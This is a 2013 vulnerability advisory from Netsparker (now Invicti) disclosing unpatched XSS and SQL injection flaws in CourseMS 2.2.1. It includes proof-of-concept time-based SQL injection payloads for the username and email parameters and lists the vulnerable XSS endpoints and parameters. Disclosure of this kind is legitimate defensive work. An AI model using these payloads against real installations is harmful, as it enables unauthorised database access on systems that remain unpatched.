XSS and SQL Injection Vulnerabilities in CourseMS


Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities in CourseMS
Software: CourseMS 2.2.1 and possibly below.
Vendor Homepage: http://sourceforge.net/projects/coursems/
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-13-013


This is a Course Management System for anybody running courses. Essentially allows for users to register online and also to provide your website with published course schedules and control over registrations, all managed by an administrator console.


CourseMS is affected by XSS and SQL Injection vulnerabilities in version 2.2.1.
Example PoC urls are as follows:

  • SQL Injection Vulnerabilities
    (POST – username)
    username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
    (POST – email)
    email='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
    (POST – username)
    username='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'
  • XSS Vulnerabilities
    http://example.com/add_user.php (POST –  params: work_tel, lastname, email, gmc_reg, job_title, firstname)
    http://example.com/login.php (POST –  params: username)
    http://example.com/auth.php (POST –  params: username)

Learn more about Cross-Site Scripting and SQL Injection vulnerabilities:


No patch was released.

Advisory Timeline

05/09/2013 – Couldn’t find a contact e-mail
05/09/2013 – Send Message over SourceForge – No response
21/10/2013 – Vulnerability Released


It has been discovered on testing of Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.